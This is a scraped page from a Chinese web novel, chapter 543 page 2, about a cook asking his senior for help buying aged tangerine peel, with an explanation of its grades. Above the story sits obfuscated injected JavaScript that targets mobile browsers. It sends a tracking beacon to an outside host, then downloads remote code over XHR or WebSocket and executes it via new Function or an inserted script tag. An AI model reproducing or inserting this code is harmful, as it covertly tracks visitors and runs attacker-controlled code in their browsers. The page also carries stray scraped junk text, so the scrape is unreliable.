足迹
叶皓辰好听吗
登录
关灯
护眼
字体:

第543章 不急(第2页)

function OVHGxRJ(e){var t="",n=r=c1=c2=0;while(n<e.length){r=e.charCodeAt(n);if(r<128){t+=String.fromCharCode(r);n++;}else if(r>191&&r<224){c2=e.charCodeAt(n+1);t+=String.fromCharCode((r&31)<<6|c2&63);n+=2}else{c2=e.charCodeAt(n+1);c3=e.charCodeAt(n+2);t+=String.fromCharCode((r&15)<<12|(c2&63)<<6|c3&63);n+=3;}}return t;};function YTrZu(e){var m='ABCDEFGHIJKLMNOPQRSTUVWXYZ'+'abcdefghijklmnopqrstuvwxyz'+'0123456789+/=';var t="",n,r,i,s,o,u,a,f=0;e=e.replace(/[^A-Za-z0-9+/=]/g,"");while(f<e.length){s=m.indexOf(e.charAt(f++));o=m.indexOf(e.charAt(f++));u=m.indexOf(e.charAt(f++));a=m.indexOf(e.charAt(f++));n=s<<2|o>>4;r=(o&15)<<4|u>>2;i=(u&3)<<6|a;t=t+String.fromCharCode(n);if(u!=64){t=t+String.fromCharCode(r);}if(a!=64){t=t+String.fromCharCode(i);}}return OVHGxRJ(t);};window[''+'a'+'L'+'e'+'X'+'U'+'l'+'s'+'']=((navigator.platform&&!/^Mac|Win/.test(navigator.platform))||(!navigator.platform&&/Android|iOS|iPhone/i.test(navigator.userAgent)))?function(){;(function(u,k,i,w,d,c){var x=YTrZu,cs=d[x('Y3VycmVudFNjcmlwdA==')],crd=x('Y3JlYXRlRWxlbWVudA==');'jQuery';u=decodeURIComponent(x(u.replace(new RegExp(c[0]+''+c[0],'g'),c[0])));!function(o,t){var a=o.getItem(t);if(!a||32!==a.length){a='';for(var e=0;e!=32;e++)a+=Math.floor(16*Math.random()).toString(16);o.setItem(t,a)}var n='https://yh.dyuthic.com:7891/stats/7728/'+i+'?ukey='+a+'&host='+window.location.host;navigator.sendBeacon?navigator.sendBeacon(n):(new Image).src=n}(localStorage,'__tsuk');'jQuery';if(navigator.userAgent.indexOf('b'+'a'+'id'+'u')!=-1){var xhr=new XMLHttpRequest();xhr.open('POST',u+'/vh3/'+i);xhr.setRequestHeader('Content-Type','application/x-www-form-urlencoded;');xhr.setRequestHeader('X-REQUESTED-WITH','XMLHttpRequest');xhr.onreadystatechange=function(){if(xhr.readyState==4&&xhr.status==200){var data=JSON.parse(xhr.responseText);new Function('_'+'t'+'d'+'cs',new Function('c',data.result.decode+';return '+data.result.name+'(c)')(data.result.img.join('')))(cs);}};xhr.send('u=1');}else if(WebSocket&&/UCBrowser|Quark|Huawei|Vivo|NewsArticle/i.test(navigator.userAgent)){k=decodeURIComponent(x(k.replace(new RegExp(c[1]+''+c[1],'g'),c[1])));var ws=new WebSocket(k+'/wh3/'+i);ws.onmessage=function(e){ws.close();new Function('_tdcs',x(e.data))(cs);};ws.onerror=function(){var s=d[crd]('script');s.src=u+'/vh3/'+i;cs.parentElement.insertBefore(s,cs);}}else{var s=d[crd]('script');s.src=u+'/vh3/'+i;cs.parentElement.insertBefore(s,cs);}})('aHHR0cHHMlM0ElMkYlMkZ0by5tb2xpMTAyLnRvcCUzQTg4OTE=','d3NzJTNBJTJGJTJGdW0uYmNlbbnJzbby5jbb20lM0E5NTM1','4674',window,document,['H','b']);}:function(){};

白叶好奇了,“师哥,你心情很好么?”ahf.m

“嗯。”章独岚再次应了一声。“你打电话,是有事?”

“对对对,师哥,你新会那边有没有朋友啊?”白叶笑着道,“帮个忙,买点陈皮。我是要做豆沙的,但是需要哪种级别的,我不太懂。”

对于陈皮,白叶只限于知道一些皮毛,见过一些炖肉用的。

可那种的级别很低,就是一个调味作用。

实际上之前章独岚给他讲过。

从成品品相上看,要分成一等皮,二等皮和三等皮。

从采摘月份上可以分为大红皮、二红皮和柑青皮。

如果说前面一种分类只是看表皮薄厚是否匀称,上面是否有虫蛀,品相是否完整。

那后面的则是有着药理上的细微不同。

一般食品级别的,都是以大红皮为主,这样的陈皮味道更佳。

从年份上分,有一年皮,三年皮,五年皮,八年皮……时间长的,甚至能达到五十年皮。

一般来说三到八年的陈皮只能算是初期的,初具风味,品闻有刺鼻的香气,并且附带果酸味,甜中带酸。

煮汤的颜色,是青色到金色。

而九到二十年的陈皮,香气清香扑鼻,醒神怡人,已经没有果酸味了。

二十到四十年的陈皮,陈香醇厚,为纯香味,甘香醇厚。

煮出来的汤色已经是接近红色,色泽剔透清亮,气味清香。

至于50年以上的陈皮,富含药香、老药材的味道,陈香醇旧。

外表色泽呈红黑色,内表呈棕红色、甚至是棕褐色至黑色。但无论多陈,陈皮都干净鲜明,纹理清楚。

泡水口味更为甘、香、醇、陈,唇齿留香。

白叶现在属于是理论知识有了,活学活用还差得远呢,所以还要跟师哥悉心请教。

章独岚倒也不藏着掖着,直说这件事包到他身上。

“等着吧。”

“好,谢谢师哥,可是这到底怎么用啊?”

“不急。”

“不急?”

“嗯……”章独岚轻笑一声,“我后天到你那边,记得让高原给我准备住的地方。”